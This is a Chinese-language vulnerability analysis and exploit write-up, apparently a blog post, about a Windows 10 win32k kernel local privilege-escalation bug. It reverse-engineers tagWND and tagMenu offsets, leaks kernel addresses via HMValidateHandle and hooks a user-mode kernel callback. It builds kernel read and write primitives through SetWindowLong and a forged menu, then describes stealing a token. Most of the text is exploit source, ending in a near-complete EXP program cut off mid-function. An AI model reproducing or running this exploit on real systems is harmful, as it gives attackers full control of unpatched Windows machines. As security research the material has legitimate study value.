- 菜单需要附着于窗口上,且至少要有一个菜单项 @line:22
BarInfo是调用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo的最后一个参数,保存着Menu的信息。分析得出
-
B a r I n f o − > r c B a r . l e f t = p M e n u − > l e f t + t a g W n d − > l e f t \textcolor{orange}{ BarInfo->rcBar.left = pMenu->left + tagWnd->left} BarInfo−>rcBar.left=pMenu−>left+tagWnd−>left
-
B a r I n f o − > r c B a r . r i g h t = p M e n u − > l e f t + t a g W n d − > l e f t + p M e n u − > r i g h t \textcolor{orange}{BarInfo->rcBar.right = pMenu->left + tagWnd->left + pMenu->right} BarInfo−>rcBar.right=pMenu−>left+tagWnd−>left+pMenu−>right
如果窗口设置了弹出式菜单,则会根据弹出式菜单当前的状态取得聚焦情况和菜单句柄 @line:51 @line:52 @line:63 @line:69 @line:74
■ Win10 1909泄露内核
在Win10 1909乃至20H的版本上,可以通过 H M V a l i d a t e H a n d l e \textcolor{cornflowerblue}{HMValidateHandle} HMValidateHandle函数泄露内核。尽管该函数未文档化,但是前辈已经通过逆向分析得知了其定义和调用方式。
PTHRDESKHEAD HMValidateHandle(HWND h,char type);
H M V a l i d a t e H a n d l e \textcolor{cornflowerblue}{HMValidateHandle} HMValidateHandle泄漏的是窗口的内核数据tagWnd在用户态下的映射
相关结构体定义如下:
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h; //该窗口桌面线程头部信息
PVOID rpdesk; //指向该窗口所在的桌面堆
PVOID pSelf;// points to the kernel mode address
} THRDESKHEAD, *PTHRDESKHEAD;
rpdesk就是前面出现的khwnd(表示内核中的窗口句柄指针)
可以通过 I s M e n u \textcolor{cornflowerblue}{IsMenu} IsMenu函数定位 H M V a l i d a t e H a n d l e \textcolor{cornflowerblue}{HMValidateHandle} HMValidateHandle函数地址
.text:0000000180018E60 ; BOOL __stdcall IsMenu(HMENU hMenu)
.text:0000000180018E60 public IsMenu
.text:0000000180018E60 IsMenu proc near ; DATA XREF: .rdata:0000000180089DE7↓o
.text:0000000180018E60 ; .rdata:off_180097828↓o ...
.text:0000000180018E60 sub rsp, 28h ; Integer Subtraction
.text:0000000180018E64 mov dl, 2
.text:0000000180018E66 call HMValidateHandle ; Call Procedure E8 75 DB FF FF
.text:0000000180018E6B xor ecx, ecx ; Logical Exclusive OR
.text:0000000180018E6D test rax, rax ; Logical Compare
.text:0000000180018E70 setnz cl ; Set Byte if Not Zero (ZF=0)
.text:0000000180018E73 mov eax, ecx
.text:0000000180018E75 add rsp, 28h ; Add
.text:0000000180018E79 retn ; Return Near from Procedure
call指令的机器码为0xE8,调用的地址为0xE8后面的4个字节加上call下一条指令的地址,即 c a l l 0 x F F F F D B 75 + 0 x 180018 E 6 B = 0 x 18 F D 3 D 71 ( 有 符 号 数 相 加 ) \textcolor{orange}{call\ 0xFFFFDB75+0x180018E6B = 0x18FD3D71(有符号数相加)} call 0xFFFFDB75+0x180018E6B=0x18FD3D71(有符号数相加)
代码为
typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
typedef BOOL(*IsMenu_t)(HMENU hMenu);
HMValidateHandle_t HMValidateHandle = 0;
IsMenu_t u32_IsMenu = 0;
g_hUser32 = LoadLibraryA("user32");
if (!g_hUser32) {
return;
}
//获取u32_IsMenu
u32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");
if (!u32_IsMenu) {
return;
}
for (int i=0; i < 0x100; i++) {
PUCHAR tr = (PUCHAR)u32_IsMenu + i;
if (*tr == 0xE8)
{//找到调用HMValidateHandle的指令位置
offset=*(int*)((PCHAR)u32_IsMenu + i + 1);
next_code = (ULONG64)u32_IsMenu + i+5;
HMValidateHandle = next_code + offset;
break;
}
}
■ 归纳几个重要的结构体及其偏移
tagWND是内核Win32k*用来管理用户态窗体的结构,在win10以前可以通过windbg查看定义,而从win10开始**win32k***进行了大改,tagWND结构发生了许多改变,并且微软也抹去了符号。通过以上函数的逆向分析,现总结如下(可能稍有偏差,若有懂的大佬请指正!):
成员 | 偏移 | 含义 |
---|---|---|
Hwnd | 0x0 | 对应在用户态下的窗口句柄 |
rpDesk | 0x8 | 该窗口所在的桌面堆 |
Style | 0x18 | 窗口风格 |
ExtraBytes | 0x128 | 指向窗口额外数据的指针 |
cbWndExtra | 0xC8 | 窗口额外数据的大小 |
spMenu | 0xA8 | 指向窗口的菜单指针 |
Flag | 0xE8 | 窗口标志 |
Left | 0x58 | 窗口左边 |
Right | 0x5C | 窗口右边 |
以上仅是tagWND的部分成员,对于编写POC已经足够。
用户态下的非弹出式菜单在内核中的对象是tagMenu,根据前面的分析,大致得到部分结构:
成员 | 偏移 | 含义 |
---|---|---|
rgItemListEntry | 0x58 | 菜单项列表入口,[rgItemListEntry]记录当前菜当中的所有项目 |
unKnow_1 | 0x40 | 未知,但是在调用GetMenuBarInfo时需要设置 |
unKnow_2 | 0x44 | 未知,但是在调用GetMenuBarInfo时需要设置 |
spSelf | 0x98 | 指向tagMenu自身。 |
idItemInfo | 0x28 | 菜单项信息指针,[[ idItemInfo ]+ 0x2C]处记录着当前菜单项数目 |
0x3 漏洞利用
结合漏洞描述和漏洞分析,漏洞利用的流程借用一张网图描述:
左边是正常流程,右边是攻击流程。通过HOOK位于User32.dll中的 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes函数,并在其中调用 N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl设置当前窗口的标志包含0x800,接着调用 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn返回一个虚假的值保存在 t a g W n d − > E x t r a B y t e s \textcolor{orange}{tagWnd->ExtraBytes} tagWnd−>ExtraBytes中。后续利用 S e t W i n d o w L o n g ∗ \textcolor{cornflowerblue}{SetWindowLong*} SetWindowLong∗系列函数时,将采用 D e s k H e a p + o f f s e t \textcolor{orange}{DeskHeap+offset} DeskHeap+offset的方式设置 t a g W n d − > E x t r a B y t e s \textcolor{orange}{tagWnd->ExtraBytes} tagWnd−>ExtraBytes。通过精心设计三个窗口,不妨记为hWndTriggleBug、hWndMin和hWndMax,并且保证hWndMin紧挨在hWndMax之上,利用hWndTriggle修改hWndMin对应的 t a g W n d − > c b W n d E x t r a \textcolor{orange}{tagWnd->cbWndExtra} tagWnd−>cbWndExtra为0xffffffff,即可突破 S e t W i n d o w L o n g ∗ \textcolor{cornflowerblue}{SetWindowLong*} SetWindowLong∗长度限制,实现hWndMin越界写hWndMax,以此获得写原语。
获取读原语需要利用tagMenu,因此通过写原语修改 t a g W n d − > s p M e n u \textcolor{orange}{tagWnd->spMenu} tagWnd−>spMenu为自己伪造的tagMenu,然后可利用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo实现任意读。
接下来可以按部就班地开始编写POC了
1.获取需要用到的函数地址
BOOLEAN Init() {
BOOLEAN bRet = TRUE;
int offset = 0;
ULONG64 next_code = 0;
__try {
g_hUser32 = LoadLibraryA("user32");
if (!g_hUser32) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
//获取u32_IsMenu
u32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");
if (!u32_IsMenu) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
for (int i=0; i < 0x100; i++) {
PUCHAR tr = (PUCHAR)u32_IsMenu + i;
if (*tr == 0xE8)
{//找到调用HMValidateHandle的指令位置
offset=*(int*)((PCHAR)u32_IsMenu + i + 1);
next_code = (ULONG64)u32_IsMenu + i+5;
HMValidateHandle = next_code + offset;
break;
}
}
if (!HMValidateHandle) {
printf("[!]Error: Can not find HMValidateHandle!\n");
bRet = FALSE;
__leave;
}
printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);
g_hNtdll = LoadLibraryA("ntdll");
if (!g_hNtdll) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
g_hWin32u = LoadLibraryA("win32u");
if (!g_hWin32u) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
NtCallbackReturn = GetProcAddress(g_hNtdll, "NtCallbackReturn");
if (!NtCallbackReturn) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
NtUserConsoleControl = GetProcAddress(g_hWin32u, "NtUserConsoleControl");
if (!NtUserConsoleControl) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
}
__finally {
if (g_hWin32u)
FreeLibrary(g_hWin32u);
if (g_hUser32)
FreeLibrary(g_hUser32);
if (g_hNtdll)
FreeLibrary(g_hNtdll);
}
return bRet;
}
2.HOOK目标函数
VOID SetFuncHook(PULONG64 newFunc) {
//1.获取本进程的PEB
ULONG64 ulCurrPEB = __readgsqword(0x60);
printf("[+]Found ulCurrPEB = 0x%p\n", ulCurrPEB);
//2.找到KernelCallbackTable
PULONG64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
KernelCallbackTable = *KernelCallbackTable;
printf("[+]Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
PULONG64 xxxClientAllocExtraBytesFunc = *(PULONG64)((ULONG64)KernelCallbackTable + 0x7B * 8);
printf("[+]Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;
//3.HOOK
printf("[+]Hook Func = 0x%p\n", newFunc);
//首先需要设置页面可写属性
DWORD dwOldProtect;
VirtualProtect((LPVOID)((ULONG64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(PULONG64)((ULONG64)KernelCallbackTable + 0x7B * 8)= newFunc;
//恢复页面属性
VirtualProtect((LPVOID)((ULONG64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);
}
3.精心构造3个窗口
srand(time(0));
g_Randnum = (rand() % 255 + 0x1998) + 1;
WndClassExW.hIcon = 0;
WndClassExW.hbrBackground = 0;
WndClassExW.lpszClassName = 0;
WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
WndClassExW.cbSize = 80;
WndClassExW.style = 3;
WndClassExW.cbClsExtra = 0;
WndClassExW.cbWndExtra = g_Randnum;//注意:此处的大小必须大等于0x128
WndClassExW.hInstance = GetModuleHandleW(0);
WndClassExW.lpszClassName = L"AttackClass";
g_Atom1 = RegisterClassExW(&WndClassExW);
WndClassExW.cbWndExtra = 32;//这里只需设置非0值即可
WndClassExW.lpszClassName = L"TriggerClass";
printf("[+]cbWndExtra offset = 0x%p\n", offsetof(WNDCLASSEXW, cbWndExtra));
g_Atom2 = RegisterClassExW(&WndClassExW);
for (int i = 0; i < 10; i++) {
hWnd[i] = CreateWindowExW(
0x8000000u,
(LPCWSTR)(unsigned __int16)g_Atom2,
L"LeakSomething",
0x8000000u,
0,
0,
0,
0,
0,
CreateMenu(),
GetModuleHandleW(0),
0);
if (!hWnd) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
goto End;
}
ULONG64 KernelMap = (ULONG64)HMValidateHandle(hWnd[i], 1);//获取tagWNDk在用户空间中的可读映射地址
HandleMap[i] = KernelMap;
VirtualQuery(KernelMap, &Buffer, 0x30);
if (g_HeapInfo.BaseAddress==NULL || g_HeapInfo.BaseAddress>=(ULONG64)Buffer.BaseAddress) {
g_HeapInfo.BaseAddress = (ULONG64)Buffer.BaseAddress;
g_HeapInfo.RegionSize = (SIZE_T)Buffer.RegionSize;
}
}
for (int i = 2; i < 10; ++i)
DestroyWindow(hWnd[i]);
- 创建10个窗口,并释放8个窗口,产生内存空洞,剩下2个窗口一个是hWndMin,另一个就是hWndMax。后面再创建一个窗口hWndTriggleBug时就会重用8块空闲内存中的某一个。
- 调用 V i r t u a l Q u e r y \textcolor{cornflowerblue}{VirtualQuery} VirtualQuery查询tagWnd在用户空间中映射的数据,循环结束后 g _ H e a p I n f o . B a s e A d d r e s s \textcolor{orange}{g\_HeapInfo.BaseAddress} g_HeapInfo.BaseAddress保存的是最小的地址。
- 因为hWndTriggleBug会重用空闲的内存,所以可在 g _ H e a p I n f o . B a s e A d d r e s s \textcolor{orange}{g\_HeapInfo.BaseAddress} g_HeapInfo.BaseAddress中搜索其特征,找到hWndTriggle的句柄,然后在我们代理的 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc函数中给hWndTriggleBug设置一个虚假offset,并修改其额外数据寻址方式为 D e s k H e a p + o f f s e t \textcolor{orange}{DeskHeap+offset} DeskHeap+offset。
4.代理xxxClientAllocExtraBytesFunc
PVOID* WINAPI ClientAllocatWindowClassExtraBytesProxy(PULONG size) {
printf("[+]ClientAllocatWindowClassExtraBytesProxy Called!\n");
HWND hWndTriggle = 0;
if (*size == g_Randnum) {
//获取窗口句柄
hWndTriggle = GetWndFromMap();
printf("[+]Get target Window handle = 0x%p\n",hTargetWnd);
//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
NtUserConsoleControl(6,&hTargetWnd, 0x10);
//将hWndTriggleBug的tagWnd->ExtraBytes设置为hWndMin的桌面堆地址
ULONG64 ulResult=g_WndMinDeskHeap;
NtCallbackReturn(&ulResult, 24, 0);
}
return xxxClientAllocWindowClassExtraBytes(size);
}
5.在内存中寻找hWndTriggle的句柄
HWND GetWndFromMap() {
PVOID BaseAddr = g_HeapInfo.BaseAddress;
ULONG64 visit = (ULONG64)BaseAddr;
DWORD RegionSize = g_HeapInfo.RegionSize;
HWND TargethWnd = 0;
do {
while (*(PWORD)visit != g_Randnum && RegionSize>0) {
visit += 2;
RegionSize -= 1;
}
TargethWnd = (HWND) * (PDWORD)(visit - 0xc8);
} while (!TargethWnd);
return TargethWnd;
}
6.获取读原语
需要伪造tagMenu结构
DWORD64 tagMenu = (__int64)LocalAlloc(0x40u, 0x200ui64);
printf("[+]tagMenu = 0x%p\n", tagMenu);
DWORD64 idItemInfo = (__int64)LocalAlloc(0x40u, 0x30ui64);
printf("[+]idItemInfo = 0x%p\n", idItemInfo);
DWORD64 spSelf = (__int64)LocalAlloc(0x40u, 8ui64);
printf("[+]spSelf = 0x%p\n", spSelf);
DWORD64 spMenu = (LONG_PTR)LocalAlloc(0x40u, 0xA0ui64);
printf("[+]spMenu = 0x%p\n", spMenu);
HLOCAL rgItemList = LocalAlloc(0x40u, 40ui64);
printf("[+]rgItemList = 0x%p\n", rgItemList);
DWORD64 ref_tagMenu = tagMenu;
DWORD64 ref_idItemInfo = idItemInfo;
DWORD64 ref_spSelf = spSelf;
DWORD64 ref_spMenu = spMenu;
ref_g_rgItemList = rgItemList;
*(DWORD*)(idItemInfo + 0x2c) = 0x10;
*(PDWORD)ref_tagMenu = 0x66666666;
*(DWORD64*)(ref_tagMenu+0x28)= ref_idItemInfo;
*(PDWORD)(ref_tagMenu+0x40 )= 1;
*(PDWORD)(ref_tagMenu + 0x44) = 1;
*(DWORD64*)(ref_tagMenu+0x58)= (DWORD64)rgItemList;
*(DWORD64*)ref_spSelf = tagMenu;
*(DWORD64*)(ref_spMenu + 0x98) = ref_spSelf;
//替换hWndMmax的spMenu
ULONG64 ulOffset = g_MinTagWnd - MaxTagWnd;
ULONG64 readQword(ULONG64 DestAddress) {
MENUBARINFO pmbi = {0};
pmbi.cbSize = sizeof(MENUBARINFO);
PULONG pTemp = (PULONG64)LocalAlloc(0x40u, 0x200);
ULONG64 qwBase = 0x000000400000000;
ULONG64 qwAdd = 0x0000000800000008;
for (int i = 0; i < 0x40; i++)
{
*(pTemp + i) = qwBase + qwAdd * i;
}
*(PULONG64)ref_g_rgItemList = (ULONG64)pTemp;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
g_pmbi_rcBar_left = pmbi.rcBar.left;
*(PULONG64)ref_g_rgItemList = DestAddress - g_pmbi_rcBar_left;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
return (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}
以上伪造的tagMenu结构如图所示:
r e a d Q w o r d \textcolor{cornflowerblue}{readQword} readQword就是读原语的实现。@line:33的循环是伪造idItemList的数据,每次读取的时候都要重置一下。结合之前的逆向分析,@line:38第一次调用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo主要是为了确定idItemList相对于idItemListEntry的偏移offset,这个偏移会保存在 p m b i . r c B a r . l e f t \textcolor{orange}{pmbi.rcBar.left} pmbi.rcBar.left中。@line:40则是替换了idItemList,正因为这里的减法,第二次调用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo时就能正确读取到DestAddress指向的数据,并且该数据长度为8字节,分成两个4字节分别保存在left和top中,所以将top和left合并就得到了DestAddress内存的数据了。
4.提权
至此已经获得了内核读写原语,接下来考虑提权。类似tagMenu和tagWnd这样的结构有着公共头部THROBJHEAD,其偏移0x10处保存着指向**_KTHREAD的指针,该结构体微软有符号,后面的步骤就是从这个结构体中一步步找出PID和Token**,并替换我们程序的Token完成提权。
5.恢复
前面对hWinMin和hWndTriggle都做了修改,如果不恢复直接退出程序会导致蓝屏。恢复的方式和修改的时候是差不多的,所以之前涉及到重要的修改时都会保留有备份,恢复到备份的数据即可。
6.EXP
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define KERNEL_CALLBACK_TABLE_OFFSET 0x58
#define WND_EXTRA_DATA_PTR_OFFSET 0x128
#define WND_CBEXTRA_OFFSET 0xC8
#define WND_STYLE_OFFSET 0x18
#define WND_STYLE_WS_CHLD 0x4000000000000000
#define WND_MAPOFUSERSPACE_OFFSET 0x28
typedef PVOID (*xxxClientAllocWindowClassExtraBytes_t)(PDWORD Length);
typedef NTSTATUS(__fastcall* NtUserConsoleControl_t)(DWORD64, LPVOID, DWORD);
typedef NTSTATUS(__fastcall* NtCallbackReturn_t)(LPVOID, DWORD, NTSTATUS);
typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
typedef BOOL(*IsMenu_t)(HMENU hMenu);
typedef struct _HEAP_INFO {
LPVOID BaseAddress;
SIZE_T RegionSize;
}HEAP_INFO;
xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0;
NtUserConsoleControl_t NtUserConsoleControl = 0;
NtCallbackReturn_t NtCallbackReturn = 0;
HMValidateHandle_t HMValidateHandle = 0;
IsMenu_t u32_IsMenu = 0;
HMODULE g_hNtdll = 0;
HMODULE g_hWin32u = 0;
HMODULE g_hUser32 = 0;
WORD g_Randnum = 0;
HEAP_INFO g_HeapInfo = { 0 };
DWORD64 g_MinTagWnd = 0;
HWND g_hWndMax = 0;
DWORD g_pmbi_rcBar_left = 0;
DWORD64 g_WndMinDeskHeap = 0;
DWORD64 ref_g_rgItemList = 0;
VOID SetFuncHook(PDWORD64 newFunc) {
//1.获取本进程的PEB
DWORD64 ulCurrPEB = __readgsqword(0x60);
printf("[+]Found ulCurrPEB = 0x%p\n", ulCurrPEB);
//2.找到KernelCallbackTable
PDWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
KernelCallbackTable = *KernelCallbackTable;
printf("[+]Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
PDWORD64 xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8);
printf("[+]Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;
//3.HOOK
printf("[+]Hook Func = 0x%p\n", newFunc);
//首先需要设置页面可写属性
DWORD dwOldProtect;
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8)= newFunc;
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);
}
DWORD64 readQword(DWORD64 DestAddress) {
MENUBARINFO pmbi = { 0 };
pmbi.cbSize = sizeof(MENUBARINFO);
DWORD64* pTemp = (DWORD64*)LocalAlloc(0x40u, 0x200ui64);
memset(pTemp, 0, 0x200);
DWORD64 qwBase = 0x000000400000000;
DWORD64 qwAdd = 0x0000000800000008;
for (int i = 0; i < 0x40; i++)
{
*(pTemp + i) = qwBase + qwAdd * i;
}
*(DWORD64*)ref_g_rgItemList = (DWORD64)pTemp;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
g_pmbi_rcBar_left = pmbi.rcBar.left;
*(DWORD64*)ref_g_rgItemList = DestAddress - g_pmbi_rcBar_left;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
return (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}
HWND GetWndFromMap() {
PVOID BaseAddr = g_HeapInfo.BaseAddress;
DWORD64 visit = BaseAddr;
DWORD RegionSize = g_HeapInfo.RegionSize;
HWND TargethWnd = 0;
printf("[+]BaseAddr = 0x%p\n", BaseAddr);
do {
while (*(PWORD)visit != g_Randnum && RegionSize>0) {
visit += 2;
RegionSize -= 1;
}
TargethWnd = (HWND) * (PDWORD)(visit - 0xc8);
} while (!TargethWnd);
return TargethWnd;
}
PVOID* WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD64 size) {
HWND hTargetWnd = 0;
if (*size == g_Randnum) {
//获取窗口句柄
hTargetWnd = GetWndFromMap();
printf("[+]hTargetWnd = 0x%p\n", hTargetWnd);
//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
NtUserConsoleControl(6,&hTargetWnd, 0x10);
//修改hWndTriggle 的 tagWnd->ExtraBytes 为 hWndMin的桌面堆
DWORD64 ulResult= g_WndMinDeskHeap;
NtCallbackReturn(&ulResult, 24, 0);
}
return xxxClientAllocWindowClassExtraBytes(size);
}
BOOLEAN Init() {
BOOLEAN bRet = TRUE;
int offset = 0;
DWORD64 next_code = 0;
__try {
g_hUser32 = LoadLibraryA("user32");
if (!g_hUser32) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
//获取u32_IsMenu
u32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");
if (!u32_IsMenu) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
for (int i = 0; i < 0x100; i++) {
PUCHAR tr = (PUCHAR)u32_IsMenu + i;
if (*tr == 0xE8)
{//找到调用HMValidateHandle的指令位置
offset = *(int*)((PCHAR)u32_IsMenu + i + 1);
next_code = (DWORD64)u32_IsMenu + i + 5;
HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
break;
}
}
if (!HMValidateHandle) {
printf("[!]Error: Can not find HMValidateHandle!\n");
bRet = FALSE;
__leave;
}
printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);
g_hNtdll = LoadLibraryA("ntdll");
if (!g_hNtdll) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
g_hWin32u = LoadLibraryA("win32u");
if (!g_hWin32u) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(g_hNtdll, "NtCallbackReturn");
if (!NtCallbackReturn) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(g_hWin32u, "NtUserConsoleControl");
if (!NtUserConsoleControl) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
}
__finally {
}
return bRet;
}
LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
if (a2 != 2)
return DefWindowProcW(a1, a2, a3, a4);
PostQuitMessage(0);
return 0;
}
int main(int argc,char** argv)
{
WNDCLASSEXW WndClassExW = { 0 };
HWND hWndTriggerBug = 0;
HWND HandleList[10] = {0};
LPVOID HandleMap[10] = {0};
MEMORY_BASIC_INFORMATION Buffer = { 0 };
if (!Init()) {
return 0;
}
SetFuncHook(ClientAllocatWindowClassExtraBytesProxy);
srand(time(0));
g_Randnum = rand() % 255 + 0xabcd;
WndClassExW.hIcon = 0;
WndClassExW.hbrBackground = 0;
WndClassExW.lpszClassName = 0;
WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
WndClassExW.cbSize = 80;
WndClassExW.style = 3;
WndClassExW.cbClsExtra = 0;
WndClassExW.cbWndExtra = 0x20;
WndClassExW.hInstance = GetModuleHandleW(0);
WndClassExW.lpszClassName = L"DemoClass";
//atom1窗口进行漏洞利用
ATOM atom1 = RegisterClassExW(&WndClassExW);
WndClassExW.cbWndExtra = g_Randnum;
WndClassExW.lpszClassName = L"TriggerClass";
//atom2窗口用来触发漏洞
ATOM atom2 = RegisterClassExW(&WndClassExW);
for (int i = 0; i < 10; i++) {
HandleList[i] = CreateWindowExW(
0x8000000u,
(LPCWSTR)(unsigned __int16)atom1,
L"LeakSomething",
0x8000000u,
0,
0,
0,
0,
0,
CreateMenu(),
GetModuleHandleW(0),
0);
if (!HandleList[i]) {
printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());
exit(1);
}
DWORD64 KernelMap = (DWORD64)HMValidateHandle(HandleList[i], 1);//获取tagWNDk在用户空间中的可读映射地址
HandleMap[i] = KernelMap;
VirtualQuery(KernelMap, &Buffer, 0x30);
if (g_HeapInfo.BaseAddress == NULL || g_HeapInfo.BaseAddress >= (DWORD64)Buffer.BaseAddress) {
g_HeapInfo.BaseAddress = (DWORD64)Buffer.BaseAddress;
g_HeapInfo.RegionSize = (DWORD64)Buffer.RegionSize;
}
}
//释放掉8个窗口,剩下两个备用,记为Wnd_1和Wnd_2
for (int i = 2; i < 10; i++) {
DestroyWindow(HandleList[i]);
}
DWORD64 Wnd1_DeskHeap = *(PDWORD64)((PCHAR)HandleMap[0] + 8);
DWORD64 Wnd2_DeskHeap = *(PDWORD64)((PCHAR)HandleMap[1] + 8);
//找到桌面堆地址最小的那个窗口
HWND hWndMin = HandleList[(Wnd1_DeskHeap < Wnd2_DeskHeap ? 0 : 1)];
//找到桌面堆地址最大的那个窗口
g_hWndMax = HandleList[(Wnd1_DeskHeap > Wnd2_DeskHeap ? 0 : 1)];
//找到桌面堆地址最小的tagWnd
g_MinTagWnd = HandleMap[(Wnd1_DeskHeap < Wnd2_DeskHeap ? 0 : 1)];
//记录桌面堆最大的tagWnd
DWORD64 MaxTagWnd = HandleMap[(Wnd1_DeskHeap > Wnd2_DeskHeap ? 0 : 1)];
//设置hWndMin的寻址方式为DeskHeap+offset
NtUserConsoleControl(6, &hWndMin, 0x10);
//保存原先的tagWnd->ExtraBytes
DWORD64 ulOldMaxExtraBytes = *(PDWORD64)(MaxTagWnd + WND_EXTRA_DATA_PTR_OFFSET);
DWORD64 ulOldMinExtraBytes = *(PDWORD64)(g_MinTagWnd + WND_EXTRA_DATA_PTR_OFFSET);
g_WndMinDeskHeap = *(PDWORD)(g_MinTagWnd + 8);
DWORD64 WndMaxDeskHeap = *(PDWORD)(MaxTagWnd + 8);
//创建一个触发漏洞的窗口
hWndTriggerBug = CreateWindowExW(
0x8000000u,
(LPCWSTR)(unsigned __int16)atom2,
L"LeakSomething",
0x8000000u,
0,
0,
0,
0,
0,
CreateMenu(),
GetModuleHandleW(0),
0);
printf("[+]Created windows = 0x%p\n", hWndTriggerBug);
/*
此时触发漏洞的窗口已经在我们Hook的函数中被修改了寻址模式
*/
//在hWndMin的tagWnd->ExtraBytes设置为hWndMin的桌面堆
SetWindowLongW(hWndTriggerBug, WND_EXTRA_DATA_PTR_OFFSET, g_WndMinDeskHeap);
//将WndWin的Extra_Size修改为0xffffffff,从而解除对WndWin使用SetWindowLong* 系列函数的限制
SetWindowLongW(hWndTriggerBug, WND_CBEXTRA_OFFSET, 0xffffffff);
/*
现在已经获得写原语,通过hWndMin和hWndMax的组合即实现可任意内核地址写
接下来要实现读原语,需要利用到tagMenu,所以对MenuBarInfo结构体进行伪造
*/
DWORD64 tagMenu = (__int64)LocalAlloc(0x40u, 0x200ui64);
printf("[+]tagMenu = 0x%p\n", tagMenu);
DWORD64 idItemInfo = (__int64)LocalAlloc(0x40u, 0x30ui64);
printf("[+]idItemInfo = 0x%p\n", idItemInfo);
DWORD64 spSelf = (__int64)LocalAlloc(0x40u, 8ui64);
printf("[+]spSelf = 0x%p\n", spSelf);
DWORD64 spMenu = (LONG_PTR)LocalAlloc(0x40u, 0xA0ui64);
printf("[+]spMenu = 0x%p\n", spMenu);
HLOCAL rgItemList = LocalAlloc(0x40u, 40ui64);
